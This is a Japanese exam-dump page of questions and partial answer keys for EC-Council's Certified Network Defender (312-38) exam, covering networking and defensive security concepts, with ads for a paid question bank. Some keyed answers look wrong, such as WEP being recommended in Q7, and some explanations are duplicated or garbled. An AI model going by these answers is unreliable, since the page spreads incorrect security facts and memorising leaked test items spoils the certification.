EC-COUNCIL.312-38.v2022-05-19.q174

試験コード：	312-38
試験名称：	EC-Council Certified Network Defender CND
認証ベンダー：	EC-COUNCIL
無料問題の数：	174
バージョン：	v2022-05-19
ページの閲覧量：	3214
問題集の閲覧量：	107671

https://www.jpnshiken.com/shiken/EC-COUNCIL.312-38.v2022-05-19.q174.html

質問: **1**
次のうち、RAIDの最も一般的に使用される実装の1つはどれですか？
A. RAID 2
B. RAID 5
C. RAID 3
D. RAID 1
正解: **(**正解を表示します**)**

質問: **2**
RAIDレベル5のセットアップに必要なドライブの最小数を特定します。
多数
A. 2
B. 3
C. 4
正解: **(**正解を表示します**)**

質問: **3**
次の復旧計画のうち、特定のセキュリティ問題、緊急事態、または状況につながる仮定の特定の差異に対処するための特定の戦略とアクションが含まれているのはどれですか？
A. 緊急時対応計画
B. 災害復旧計画
C. 事業継続計画
D. 運用計画の継続性
正解: **A (**コメントを発表する**)**
緊急時対応計画は、事態がうまくいかない可能性がある特定の状況のために考案された計画です。緊急時対応計画は、起こりうるあらゆる事態に備えたい政府や企業によって考案されることがよくあります。
緊急時対応計画には、特定の問題、緊急事態、または状況につながる仮定に対する特定の差異に対処するための特定の戦略とアクションが含まれます。また、監視プロセスと

計画されたアクションを開始するための「トリガー」。彼らは、政府、企業、または個人が最小限のコストと混乱で最小限の時間で重大な事件から回復するのを助けることが求められています。
回答オプションDが正しくありません。これには、通常の操作が不可能な期間中の重要な操作の継続性を保証するために文書化された計画と手順が含まれています。
回答オプションBが正しくありません。ディザスタリカバリ計画は、事業継続計画と呼ばれるより大きなプロセスのサブセットであり、アプリケーション、データ、ハードウェア、通信（ネットワーキングなど）、およびその他のITインフラストラクチャの再開の計画を含める必要があります。事業継続計画（BCP）には、主要な担当者、施設、危機的コミュニケーション、評判保護など、ITに関連しない側面の計画が含まれ、IT関連のインフラストラクチャの復旧/継続に関するディザスタリカバリ計画（DRP）を参照する必要があります。
回答オプションCは正しくありません。事業継続計画（BCP）は、災害または長期にわたる混乱の後、組織が部分的または完全に中断された重要な（緊急の）機能を回復および復元する方法に関する実践的なロジスティクス計画の作成と検証です。ロジスティクス計画は事業継続計画と呼ばれます。BCPのライフサイクルは次のとおりです。

質問: **4**
ドラッグドロップ
説明と一致するように用語をドラッグアンドドロップします。
正解:
Explanation:
以下は、それらの説明とともに用語です。
トロイの木馬は、隠されたコードを含み、通常のプログラムになりすます悪意のあるソフトウェアプログラムです。トロイの木馬プログラムが実行されると、その隠しコードが実行され、ハードディスク上のデータが破壊またはスクランブルされます。トロイの木馬の例は、ユーザー名とパスワード情報を取得するためにコンピューターのログオンを装うプログラムです。トロイの木馬の開発者は、後でこの情報を使用して、コンピューターへの不正アクセスを取得できます。トロイの木馬は通常、電子メールの添付ファイルによって拡散します。pingスイープは、IPアドレスの範囲のどれがライブホストにマップされるかを決定するために使用される手法です。これは、複数のホストに送信されるICMPECHO要求で構成されます。指定されたアドレスが有効な場合、ICMPECHO応答を返します。pingは、ネットワークデバイスが機能していることを確認するためによく使用されます。ネットワークでpingスイープを無効にするには、管理者は、外部ソースからのICMPECHO要求をブロックできます。ただし、ICMPTIMESTAMPとICMPINFOは同様の方法で使用できます。Spamwareは、スパマーによって、またはスパマーが自動スパム電子メールを送信するために設計されたソフトウェアです。スパムウェアは、電子メールアドレスを検索して、直接スパムを送信するため、またはスパマーに販売するために使用される電子メールアドレスのリストを作成するために使用されます。スパムウェアパッケージには、電子メール収集ツールも含まれています。バックドアとは、ハッカーが通常の認証プロセスを経ることなくコンピュータに接続できるようにするプログラムです。このタイプの攻撃の主な利点は、ネットワークトラフィックがネットワーク内からハッカーのコンピュータに移動することです。ネットワークの内

側から外側の世界に移動するトラフィックは、通常、最も制限が少なくなります。これは、企業がネットワークに何が入るかについてより懸念しているためです。それを残すものではなく。そのため、バックドアの検出が困難になります。

質問: **5**
次のうち、デジタル署名によって提供されるものはどれですか？
A. 整合性と検証
B. 識別と検証
C. セキュリティと整合性
D. 認証と識別
正解: **D (**コメントを発表する**)**

質問: **6**
最高レベルのVPNセキュリティを提供する標準ベースのプロトコルは次のうちどれですか？
A. L2TP
B. IP
C. PPP
D. IPSec
正解: **(**正解を表示します**)**
インターネットプロトコルセキュリティ（IPSec）は、最高レベルのVPNセキュリティを提供する標準ベースのプロトコルです。
IPSecは、ネットワーク層の上のほぼすべてを暗号化できます。これは、を使用するVPN接続に使用されます
L2TPプロトコル。データとパスワードの両方を保護します。IPSecはポイントツーポイントトンネリングでは使用できません
プロトコル（PPTP）。
回答オプションBが正しくありません。インターネットプロトコル（IP）は、
インターネットプロトコルスイートを使用したパケット交換ネットワーク間（TCP / IPとも呼ばれます）。IPがプライマリです。
インターネットプロトコルスイートのインターネット層のプロトコルであり、優れたプロトコルを提供するタスクがあります
アドレスのみに基づいた、送信元ホストから宛先ホストへのデータグラム（パケット）。このため目的として、インターネットプロトコルは、データグラムカプセル化のアドレス指定方法と構造を定義します。ザ
現在インターネットプロトコルバージョン4（IPv4）と呼ばれている、アドレス指定構造の最初のメジャーバージョンは、現在も
インターネットの主要なプロトコルですが、後継のインターネットプロトコルバージョン6（IPv6）が展開されています
世界中で積極的に。

回答オプションCは正しくありません。ポイントツーポイントプロトコル（PPP）は、一般的に使用されるリモートアクセスプロトコルです。
インターネットに接続します。圧縮と暗号化をサポートし、さまざまな接続に使用できます
ネットワーク。IPX、TCP / IP、またはNetBEUIプロトコルで実行されているネットワークに接続できます。マルチをサポートします
プロトコルと動的IP割り当て。これは、MicrosoftDial-Upアダプタのデフォルトのプロトコルです。
回答オプションAが正しくありません。レイヤー2トンネリングプロトコル（L2TP）は、ポイントツーポイントのより安全なバージョンです。
トンネリングプロトコル（PPTP）。トンネリング、アドレス割り当て、および認証を提供します。それは転送を可能にします
異なるネットワーク間のポイントツーポイントプロトコル（PPP）トラフィックの割合。L2TPはIPSecと組み合わせて、
インターネットプロトコル（IP）、インターネットワークパケット交換（IPX）、およびその他のプロトコルのトンネリングとセキュリティ
IPネットワーク全体のパケット。

質問: **7**
コーヒーショップで顧客向けのワイヤレスネットワークを設定しました。次のうち、実装するのに適したセキュリティ対策はどれですか？それぞれの正解は完全な解決策を表しています。2つ選択してください。
A. WPA暗号化を使用する
B. SSIDをブロードキャストしていません
C. WEP暗号化を使用
D. ルーターのMACフィルタリング
正解: **A,C** (コメントを発表する)
どちらの暗号化方式（WEPまたはWPA）でも、パスワードを必要とする顧客にパスワードを与えることができ、頻繁に（必要に応じて毎日）パスワードを変更することもできます。したがって、これはお客様にとって不便ではありません。

質問: **8**
次の条件のうち、システムROMモニターモードに入ることができないのはどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. ルータに設定ファイルがありません。
B. ルータが有効なオペレーティングシステムイメージを見つけられません。
C. 動作パラメータを設定する必要があります。
D. ユーザーが起動シーケンスを中断します。
正解: (正解を表示します)

質問: **9**

次のワイヤレスネットワークのうち、最大20フィートの距離で接続を提供するのはどれですか？
A. WMAN
B. WLAN
C. WPAN
D. WWAN
正解: **(**正解を表示します**)**

質問: **10**
IPv6ヘッダーの次のフィールドのうち、IPv4ヘッダーのTTLフィールドを置き換えるものはどれですか？
A. ホップ制限
B. トラフィッククラス
C. バージョン
D. 次のヘッダー
正解: **(**正解を表示します**)**

質問: **11**
次のうち、電気通信機器およびシステムの協力基準を促進するための主要な国際機関はどれですか？
A. ICANN
B. IEEE
C. NIST
D. CCITT
正解: **D (**コメントを発表する**)**
CCITTは、電気通信機器およびシステムの協力基準を促進するための主要な国際機関です。現在、ITU-T（国際電気通信連合の電気通信標準化セクター）として知られています。ITU-Tの使命は、世界規模で電気通信のすべての分野をカバーする標準の効率的かつタイムリーな作成を保証すること、および国際電気通信サービスの料金と会計原則を定義することです。回答オプションAが正しくありません。Internet Corporation for Assigned Names and Numbers（ICANN）は、IPアドレスの割り当て、DNSインフラストラクチャの管理、プロトコルパラメータの割り当て、およびルートサーバーシステムの管理を監督する非営利団体です。回答オプションBが正しくありません。米国電気電子技術者協会（IEEE）は、技術専門家の協会です。それは、電気技術と関連科学の開発と応用を促進します。IEEEは、他の活動の中でも、通信およびネットワーク標準を開発しています。組織は多くのジャーナルを発行し、多くの地方支部と専門分野の学会を持っています。回答オプションCは正しくありません。米国国立標準技術研究所（NIST）は、1901年から1988年にかけて米国国立標準局（NBS）として知られており、米国商務省の非規制機関である測定標準研究所です。研究所の公式の使命は次のとおりです。測定科学、標準、経済的安全を強化し、生活の質を向上させる方法での技術。NISTの2007会計年度（2006年10月1日から2007年9月30日）の運営予算は約8億4,330万ドルでした。NISTの2009年の予算は9億9,200万ドルでしたが、米国の回収および再投資法の一環として6億1,000万ドルも受け取りました。NISTは、約2,900人の科学者、エンジニア、技術者、お

よびサポートおよび管理担当者を雇用しています。約1,800人のNISTアソシエイト（米国企業および外国からのゲスト研究者およびエンジニア）がスタッフを補完します。さらに、NISTは、全国の350近くの関連センターの1,400の製造スペシャリストおよびスタッフと提携しています。■2009年の予算は9億9,200万ドルでしたが、アメリカ復興再投資法の一環として6億1,000万ドルも受け取りました。NISTは、約2,900人の科学者、エンジニア、技術者、およびサポートおよび管理担当者を雇用しています。約1,800人のNISTアソシエイト（米国企業および外国からのゲスト研究者およびエンジニア）がスタッフを補完します。さらに、NISTは、全国の350近くの関連センターの1,400の製造スペシャリストおよびスタッフと提携しています。■2009年の予算は9億9,200万ドルでしたが、アメリカ復興再投資法の一環として6億1,000万ドルも受け取りました。NISTは、約2,900人の科学者、エンジニア、技術者、およびサポートおよび管理担当者を雇用しています。約1,800人のNISTアソシエイト（米国企業および外国からのゲスト研究者およびエンジニア）がスタッフを補完します。さらに、NISTは、全国の350近くの関連センターの1,400の製造スペシャリストおよびスタッフと提携しています。

質問: **12**
IPマルチキャストグループ内のすべてのメンバーデバイス間でメッセージと情報をマルチキャストする通信プロトコルは次のうちどれですか？
A. ICMP
B. IGMP
C. BGP
D. EGP
正解: **(**正解を表示します**)**
インターネットグループ管理プロトコル（IGMP）は、IPマルチキャストグループ内のすべてのメンバーデバイス間でメッセージと情報をマルチキャストする通信プロトコルです。ただし、マルチキャストトラフィックは単一のMACアドレスに送信されますが、複数のホストによって処理されます。ゲームやオンラインビデオの表示に効果的に使用できます。IGMPは、ネットワーク攻撃に対して脆弱です。回答オプションAが正しくありません。インターネット制御メッセージプロトコル（ICMP）は、データが1台のコンピューターから別のコンピューターに送信されるときに、ルーターとホストコンピューターが基本的な制御情報を交換できるようにする保守プロトコルです。これは通常、IP層の一部と見なされます。これにより、ネットワーク上のコンピューターがエラーおよびステータス情報を共有できるようになります。IPデータグラム内にカプセル化されたICMPメッセージ
回答オプションCは正しくありません。BGPは、ボーダーゲートウェイプロトコルの略です。これは、自律システム間ルーティングプロトコルであり、Exterior Gateway Protocol（EGP）の形式です。このプロトコルは、RFC-1267およびRFC-1268で定義されています。これは、他のBGPシステムとネットワーク到達可能性情報を交換するために使用されます。この情報には、特定のネットワークに到達するためにネットワークトラフィックがカバーしなければならない中間自律システムの完全なリストが含まれています。この情報は、自律システム間のループのないドメイン間ルーティングを把握するために使用されます。BGP-4はBGPの最新バージョンです。

回答オプションDが正しくありません。外部ゲートウェイプロトコル（EGP）は、異なる自律システム間でルーティング情報を交換するプロトコルです。これは通常、インターネット上のホスト間でルーティングテーブル情報を交換するために使用されます。ボーダーゲートウェイプロトコル（BGP）は唯一のアクティブなEGPです。

質問: **13**
次のツールのうち、人間の攻撃対象領域を評価するためにIoEを特定するのに役立つのはどれですか？
A. securiCAD
B. アマス
C. SET
D. スカイボックス
正解: **A** (コメントを発表する)

質問: **14**
次のうち、さまざまな通信プロトコルを変換し、さまざまなネットワークテクノロジーを接続するために使用される互換性のあるネットワークデバイスはどれですか？
A. 変更
B. ブリッジ
C. なし
D. ポート
E. ルーター
正解: (正解を表示します)

質問: **15**
電話番号のリストを自動的にスキャンするためにモデムを使用する手法は次のうちどれですか？
A. ウォードライビング
B. ウォーダイヤリング
C. Warchalking
D. ワークキッティング
正解: **B** (コメントを発表する)
ウォーダイヤリングは、モデムを使用して電話番号のリストを自動的にスキャンする手法であり、通常、ローカルエリアコードのすべての番号をダイヤルして、コンピューター、BBSシステム、およびファックス機を検索します。ハッカーは結果のリストをさまざまな目的に使用し、愛好家は探索に使用し、クラッカー（コンピューターのセキュリティを専門とするハッカー）はパスワードの推測に使用します。
回答オプションCは正しくありません。Warchalkingは、オープンWi-Fiワイヤレスネットワークを宣伝するために公共の場所にシンボルを描くことです。Wi-Fiノードを見つけると、ウォーチャーカーは壁、舗装、街灯柱などの近くのオブジェクトに特別なシンボルを描画します。ウォードライ

ビングという名前は、クラッカーの用語であるウォーダイヤリングとウォードライビングに由来しています。
回答オプションAが正しくありません。アクセスポイントマッピングとも呼ばれるウォードライビングは、都市やその他の場所を運転しているときに、ワイヤレスローカルエリアネットワークへの接続を特定し、場合によってはそれを利用する行為です。ウォードライビングを行うには、車両、コンピューター（ラップトップの場合もあります）、プロミスキャスモードで動作するように設定されたワイヤレスイーサネットカード、および車の上または車内に配置できる何らかのアンテナが必要です。
無線LANの範囲はオフィスビルを超えている可能性があるため、外部ユーザーがネットワークに侵入し、無料のインターネット接続を取得し、会社の記録やその他のリソースにアクセスできる可能性があります。
回答オプションDが正しくありません。ウォードライビングは、ウォードライビングとルートキッティングを組み合わせたものです。ワーキッティング攻撃では、ハッカーが攻撃されたルーターのファームウェアを置き換えます。これにより、被害者のすべてのトラフィックを制御でき、ダウンロード中にHTMLコンテンツを置き換えることでSSLを無効にすることもできます。Warkittingは、2006年にTsow、Jakobsson、Yang、およびWetzelによって特定されました。彼らの発見は、ワイヤレスルーターの10%がWAPjacking（ファームウェア設定の悪意のある構成、ただしファームウェア自体に変更を加えていない）の影響を受けやすいことを示しました。ワイヤレスルーターは、WAPkitting（ルーターファームウェアの破壊）に対して脆弱でした。彼らの分析によると、Warkittingを通じて可能なクレデンシャルの盗難の量は、フィッシングによるクレデンシャルの盗難の見積もりを上回っていました。

質問: **16**
IPv6ヘッダー形式の次のヘッダーフィールドのビットサイズはどれくらいですか？
A. 20ビット
B. 8ビット
C. 4ビット
D. 2ビット
正解: **(正解を表示します)**

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **17**

次のネットワークデバイスのうち、OSIモデルのネットワーク層で動作するのはどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. ルーター
B. ブリッジ
C. リピーター
D. ゲートウェイ
正解: **A,D** (コメントを発表する)
ルーターは、異なるネットワーク内のコンピューター間でデータパケットをルーティングするデバイスです。複数のネットワークを接続するために使用され、各データパケットが宛先コンピューターまでたどるパスを決定します。ルーターは、使用可能なルートとその状態のルーティングテーブルを維持します。この情報を距離およびコストのアルゴリズムとともに使用することにより、ルーターは、データパケットが宛先コンピューターに到達するための最適なパスを決定します。ルーターは、イーサネット、FDDI、トークンリングなどの異なるネットワークに接続し、それらの間でデータパケットをルーティングできます。ルーターは、Open Systems Interconnection（OSI）モデルのネットワーク層（層3）で動作します。
ゲートウェイは、別のネットワークへの入り口として機能するネットワークポイントです。インターネットでは、ノードまたは停止ポイントは、ゲートウェイノードまたはホスト（エンドポイント）ノードのいずれかになります。インターネットユーザーのコンピューターとユーザーにページを提供するコンピューターはどちらもホストノードです。会社のネットワーク内またはローカルインターネットサービスプロバイダー（ISP）でトラフィックを制御するコンピューターは、ゲートウェイノードです。企業のネットワークでは、ゲートウェイノードとして機能するコンピューターサーバーが、プロキシサーバーおよびファイアウォールサーバーとしても機能することがよくあります。ゲートウェイは、多くの場合、ゲートウェイに到着するデータの特定のパケットをどこに転送するかを知っているルーターと、特定のパケットのゲートウェイに出入りする実際のパスを提供するスイッチの両方に関連付けられています。ほとんどのゲートウェイは、アプリケーション層で動作します。
回答オプションCは正しくありません。リピーターは、OSIモデルの物理層でのみ動作します。
回答オプションBが正しくありません。ブリッジは、OSIモデルのデータリンク層で動作します。

質問: **18**
Lizaは、ネットワーク管理者から、ブランチの場所をメインオフィスに接続するためにIPsecVPNトンネルを実装することを伝えられました。IPsecトンネルはOSIモデルのどのレイヤーで機能しますか？
A. ネットワーク層
B. アプリケーションと物理層
C. セッション層
D. データリンク層
正解: (正解を表示します)

質問: **19**

メッシュネットワークトポロジを説明するための最良の方法は何ですか？
A. すべてのコンピューターが互いに噛み合ってスタートポロジーとバストポロジーのハイブリッドを形成するネットワーク。
B. 非常に費用対効果の高いネットワークであり、コンピューターが相互に通信できるようにするための最良のオプションを提供します。
C. ネットワーク内のすべてのコンピューターが単一の中央コンピューターと通信できるネットワーク。
D. ネットワーク内のすべてのコンピューターがネットワーク内のすべてのコンピューターに接続しているネットワーク。
正解: **D** (コメントを発表する)

質問: **20**
攻撃者は、さまざまな種類のパスワードクラッキング手法を使用して、パスワードをクラッキングし、システムへの不正アクセスを取得します。攻撃者は、一般的に使用されるパスワードのリストを含むファイルを使用します。次に、このファイルをユーザーアカウントに対して実行されるクラッキングアプリケーションにアップロードします。攻撃者が試みているパスワードクラッキング手法は次のうちどれですか？
A. レインボーテーブル
B. ハイブリッド
C. 辞書
D. ブルートフォース
正解: **C** (コメントを発表する)

質問: **21**
故意に人を閉じ込めるために設計された物理的セキュリティデバイスは次のうちどれですか？
A. ウォーチャルキング
B. ウォーフライング
C. トラップ
D. マントラップ
正解: **D** (コメントを発表する)

質問: **22**
Unix用のsyslogプロトコルのオープンソース実装は次のうちどれですか？
A. Unix-syslog
B. syslog Unix
C. syslog-os
D. syslog-ng
正解: (正解を表示します)

質問: **23**

Geon Solutions INC。は、設立当初は10人の従業員しかいませんでした。しかし、ビジネスが成長するにつれて、組織はスタッフの数を増やす必要がありました。ネットワーク管理者は、既存のネットワークトポロジで増加する従業員に対応することが難しいと感じています。そのため、組織は、増加する従業員に簡単に対応できる新しいトポロジを実装することを計画しています。管理者が新しい従業員を追加して拡張する必要があるという問題を解決するのに役立つネットワークトポロジはどれですか？
A. スター
B. バス
C. メッシュ
D. リング
正解: **A** (コメントを発表する)

質問: **24**
IPv6ネットワークについて正しい説明は次のうちどれですか。それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. 相互運用性のために、IPv4アドレスはIPv6アドレスの最後の32ビットを使用します。
B. 利用可能なIPアドレスの数を増やします。
C. IPv4で使用されているものよりも長いサブネットマスクを使用します。
D. 認証とセキュリティが向上します。
E. 128ビットアドレスを使用します。
正解: **A,B,D,E** (コメントを発表する)
IPアドレッシングバージョン6（IPv6）は、IPアドレッシングの最新バージョンです。IPv6は、アドレスの枯渇、セキュリティ、自動構成、拡張性など、IPv4が直面した多くの問題を解決するように設計されています。
ネットワークの数が急速に増加し、ワールドワイドウェブが拡大するにつれ、割り当てられたIPアドレスは急速に枯渇し、より多くのネットワークアドレスの必要性が生じています。IPv6は、より多くのIPアドレスを生成できる128ビットアドレスを使用するため、この問題を解決します。これらのアドレスは16進数であり、8つのオクテットペアで構成されています。IPv6アドレスの例は、45CF :6D53 :12CD :AFC7 :E654 :です。
BB32 :543C :FACE。
回答オプションCは正しくありません。IPv6アドレスで使用されるサブネットマスクは、IPv4アドレスで使用されるサブネットマスクと同じ長さです。

質問: **25**
アリスはボブに自分の身元を証明したいと思っています。ボブは、アリスが忠実に提供するIDの証明としてパスワードを要求します（おそらくハッシュ関数のような変換の後）。その間、イブは会話を盗聴し、パスワードを保持しています。交換が終わった後、イブはアリスを装ったボブに接続します。身元の証明を求められると、イブは前回のセッションで読み取ったアリスのパスワードを送信します。これはボブが受け入れます。
次の攻撃のどれがイブによって使用されていますか？

A. リプレイ
B. 火渡り
C. クロスサイトスクリプティング
D. セッション固定
正解: **(**正解を表示します**)**
説明
Explanation:
イブはリプレイ攻撃を使用しています。リプレイ攻撃は、パケットがネットワーク上の2つのホスト間を通過するたびに、攻撃者がパスワードまたはデジタル署名を含むパケットをキャプチャするタイプの攻撃です。次に、攻撃者は認証された接続を取得しようとして、キャプチャしたパケットをシステムに再送信します。このタイプの攻撃では、攻撃者は実際のパスワードを知りませんが、キャプチャされたパケットを単に再生することができます。セッショントークンは、リプレイ攻撃を回避するために使用できます。ボブはワンタイムトークンをアリスに送信します。アリスはこれを使用してパスワードを変換し、結果をボブに送信します たとえば、パスワードに追加されたセッショントークンのハッシュ関数を計算します）。彼の側では、ボブは同じ計算を実行します。両方の値が一致する場合にのみ、ログインは成功します。ここで、マロリーがこの値を取得し、別のセッションで使用しようとしたとします。
回答オプションCは正しくありません。クロスサイトスクリプティング攻撃では、攻撃者はユーザーのコンピューターをだましてコードを実行させます。コードはサーバーに属しているように見えるため、信頼できるものとして扱われ、攻撃者はCookieのコピーを取得したり他の操作を実行したりできます。
回答オプションBが正しくありません。火渡りは、ファイアウォールで保護されたリモートネットワークに関する情報を収集するための手法です。この手法は、情報収集攻撃を実行するために効果的に使用できます。この手法では、攻撃者は、ファイアウォールを1ホップ通過して期限切れになるように設定されたTTL値を持つ細工されたパケットを送信します。
回答オプションDが正しくありません。セッション固定では、攻撃者は、たとえば特定のセッションIDを含むリンクを含む電子メールをユーザーに送信することにより、ユーザーのセッションIDを自分が知っているものに設定します。攻撃者は、ユーザーがログインするまで待つだけで済みます。

質問: **26**
空白を埋める
空欄に適切な用語を記入してください。_____managementはシステム管理の領域です
これには、複数のパッチの取得、テスト、および管理対象コンピューターへのインストール コード変更）が含まれます
システム。
正解:
パッチ
Explanation:

パッチ管理は、複数のシステムの取得、テスト、およびインストールを含むシステム管理の領域です。
管理対象コンピュータシステムへのパッチ（コード変更）。パッチ管理には、次のタスクが含まれます。
利用可能なパッチに関する現在の知識を維持する
特定のシステムに適したパッチを決定する
パッチが正しくインストールされていることを確認する
インストール後にシステムをテストし、特定の構成など、関連するすべての手順を文書化します
必須RingMasterを含む、パッチ管理タスクを自動化するための多くの製品が利用可能です
自動パッチ管理、PatchLinkアップデート、およびGibraltarのEverguard。

質問: **27**
次のルーティングメトリックのうち、インターネット経由でパッケージをソースに転送するために必要な時間を参照しているのはどれですか？
A. なし
B. ルーティング遅延
C. トレイルの長さ
D. 充電
E. 帯域幅
正解: **(**正解を表示します**)**
説明/参照：

質問: **28**
アンテナのどの特性が、アンテナの放射パターンの指向性を示していますか？
A. 放射パターン
B. 分極
C. 典型的なゲイン
D. 指向性
正解: **(**正解を表示します**)**

質問: **29**
空白を埋める
空欄に適切な用語を記入してください。_____は、電子メールで機密性の高い単語を使用して、
赤いニシンの形と意図的な迷惑を提供することによってそれらに耳を傾ける当局。
正解:
メールの妨害
Explanation:電子メールの妨害とは、電子メールで機密性の高い単語を使用して、それらを傍受する当局を妨害することです。
赤いニシンの形と意図的な迷惑を提供することによって。この攻撃では、攻撃者は故意に

デリケートな」単語やフレーズを無害なメールに含めて、これらが確実に受け取られるようにします
監視システム。その結果、これらの電子メールの送信者は最終的に 無害な」リストに追加されます
そして、彼らの電子メールはもはや傍受されないので、それは彼らがある程度のプライバシーを取り戻すことを可能にするでしょう。

質問: **30**
次のうち、任意の数の無線LANと衛星カバレッジエリアを介したモバイル通信をサポートするネットワークはどれですか？
A. LAN
B. WAN
C. GAN
D. ハン
正解: **(**正解を表示します**)**
グローバルエリアネットワーク（GAN）は、任意の数の無線LAN、衛星カバレッジエリアなどを介したモバイル通信をサポートするために使用されるネットワークです。モバイル通信の主な課題は、ユーザー通信を1つのローカルカバレッジエリアから次。
回答オプションBが正しくありません。ワイドエリアネットワーク（WAN）は、地理的に分散した通信ネットワークです。この用語は、より広範な通信構造をローカルエリアネットワーク（LAN）と区別します。ワイドエリアネットワークは、個人所有またはレンタルすることができますが、この用語は通常、パブリック（共有ユーザー）ネットワークを含むことを意味します。地理的な観点から見たネットワークの中間形式は、メトロポリタンエリアネットワーク（MAN）です。ワイドエリアネットワークは、地理的に広いエリアでLANを相互接続するため、ネットワークのネットワークとしても定義されます。
回答オプションDが正しくありません。ホームエリアネットワーク（HAN）は、通常は家庭に配備されているデジタルデバイス、通常は少数のパーソナルコンピュータ、およびプリンタやモバイルコンピューティングデバイスなどのアクセサリ間の通信に使用される住宅用LANです。
回答オプションAが正しくありません。ローカルエリアネットワーク（LAN）は、居住地、教育機関、研究所、その他のさまざまな組織など、制限された地理的領域内で接続されたコンピューターのグループです。これにより、ユーザーはファイルやサービスを共有でき、オフィス内の通信に一般的に使用されます。LANは、専用回線、専用サービスを介して、または仮想プライベートネットワークテクノロジーを使用してインターネットをトンネリングすることにより、他のLANと接続します。

質問: **31**
次のIEEE標準のうち、2.4 GHz帯域幅で動作し、54 Mbpsの速度でデータを転送するのはどれですか？
A. 802.11n

B. 802.11r
C. 802.11g
D. 802.11a
正解: (正解を表示します)

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **32**
ニュースサーバー間でUsenetニュース記事を転送したり、エンドユーザークライアントアプリケーションが記事を読んだり投稿したりするために使用されるインターネットアプリケーションプロトコルは、次のうちどれですか。
A. NNTP
B. BOOTP
C. DCAP
D. NTP
正解: (正解を表示します)
ネットワークニュース転送プロトコル（NNTP）は、ニュースサーバー間でUsenetニュース記事（netnews）を転送したり、エンドユーザークライアントアプリケーションが記事を読んだり投稿したりするために使用されるインターネットアプリケーションプロトコルです。NNTPは、ニュース記事が中央データベースに保存されるように設計されており、加入者は読みたいアイテムのみを選択できます。
回答オプションDが正しくありません。ネットワークタイムプロトコル（NTP）は、分散タイムサーバーとクライアントの数の間でタイムキーピングを同期するために使用されます。これは、多くのインターフェースを含む大規模で多様なネットワークでの時間管理に使用されます。このプロトコルでは、サーバーが時間を定義し、クライアントは定義された時間と同期する必要があります。これらのクライアントは、情報送信のためにいくつかのNTPサーバーから定義された最も信頼できる時間のソースを選択できます。回答オプションCは正しくありません。データリンクスイッチングクライアントアクセスプロトコル（DCAP）は、TCPセッションを介してSNA/NetBIOSトラフィックを転送するためにワークステーションとルーター間で使用されるアプリケーション層プロトコルです。これは、データリンクスイッチングプロトコル（DLSw）によるいくつかの欠陥に対処するために導入されました。DLSwは、スケーラビリティと効率の重要な問題を提起します。DLSwはスイッチ間プロトコルであるため、ワークステーションに実装すると効率的ではありません。これらの問題に対処するために、DCAPが導入されました。

回答オプションBが正しくありません。BOOTPプロトコルは、ネットワークサーバーから構成情報を収集するためにディスクレスワークステーションによって使用されます。また、サーバーからブートイメージを取得するためにも使用されます。

質問: **33**
次のルーティングメトリックのうち、インターネット経由でパッケージをソースに転送するために必要な時間を参照しているのはどれですか？
A. 充電
B. なし
C. トレイルの長さ
D. 帯域幅
E. ルーティング遅延
正解: **E** (コメントを発表する)

質問: **34**
空白を埋める
空欄に適切な用語を記入してください。_____は、音声会話をルーティングするために使用されます。
インターネット。また、IPテレフォニー、ブロードバンドテレフォニーなどの他の名前でも知られています。
正解:
VoIP
Explanation:Voice over Internet Protocol（VoIP）は、インターネットを介した音声会話のルーティングに使用されます。
VoIPは、IPテレフォニー、ブロードバンドテレフォニーなどの他の名前でも知られています。アナログ信号は
音が電気的脈動として受け取られ、増幅されてから次の場所に運ばれる電話で使用されます
もう一方の電話に取り付けられた小さなスピーカーで、受話器は音を聞くことができます。VoIPでは、アナログ
信号はデジタル信号に変換され、インターネット上で送信されます。VoIPは無料の電話を作るために使用されます
インターネット接続を使用して通話します。これは、市場で入手可能な任意のVoIPソフトウェアを使用して行うことができます。
インターネットを介して電話をかけるには、さまざまなモードがあります。重要なモードのいくつかは次のとおりです
次のとおりです。
アナログ電話アダプタ（ATA）経由
このモードでは、従来の電話はATを介してコンピューターに接続されます
A.ATAは電話からアナログ信号を受信し、これらの信号をデジタル信号に変換します。デジタル

その後、信号はインターネットサービスプロバイダー（ISP）によって受信され、システムは電話をかける準備ができています。
VoIP。
IP電話経由
IP電話は従来の電話とまったく同じように見えますが、RJ-45イーサネットコネクタを備えているという点で異なります。
コンピュータに接続するためのRJ-11電話コネクタの代わりに。
コンピューターからコンピューターへ
これはVoIPを使用する最も簡単な方法です。このためには、ソフトウェア、マイク、スピーカー、サウンドカード、および
ケーブルまたはDSLモデムを介したインターネット接続。
ソフトフォン
ソフトフォンは、コンピュータにロードしてブロードバンドのどこでも使用できるソフトウェアアプリケーションです。
接続エリア。

質問: **35**
次のOSI層のうち、構文層と呼ばれることがあるのはどれですか？
A. アプリケーション層
B. プレゼンテーション層
C. 物理層
D. データリンク層
正解: **(**正解を表示します**)**

質問: **36**
システム内の電気機器から放出されるスプリアス信号に対する保護を扱うコンピュータセキュリティのタイプは次のうちどれですか？
A. 通信セキュリティ
B. 物理的セキュリティ
C. 放射セキュリティ
D. ハードウェアセキュリティ
正解: **C (**コメントを発表する**)**
説明
Explanation:
放射セキュリティは、システム内の電気機器から放射されるスプリアス信号（電磁放射ディスプレイから）、可視放射（ディスプレイは窓から見える場合があります）、音声放射（音など）に対する保護を扱うコンピュータセキュリティの一種です。プリンタなどから）。回答オプションDが正しくありません。ハードウェアセキュリティは、ハードウェアの取り扱いにおける脆弱性に対処するのに役立ちます。

回答オプションBが正しくありません。物理的セキュリティは、コンピュータのハードウェアおよび関連機器の保護に対処するのに役立ちます。
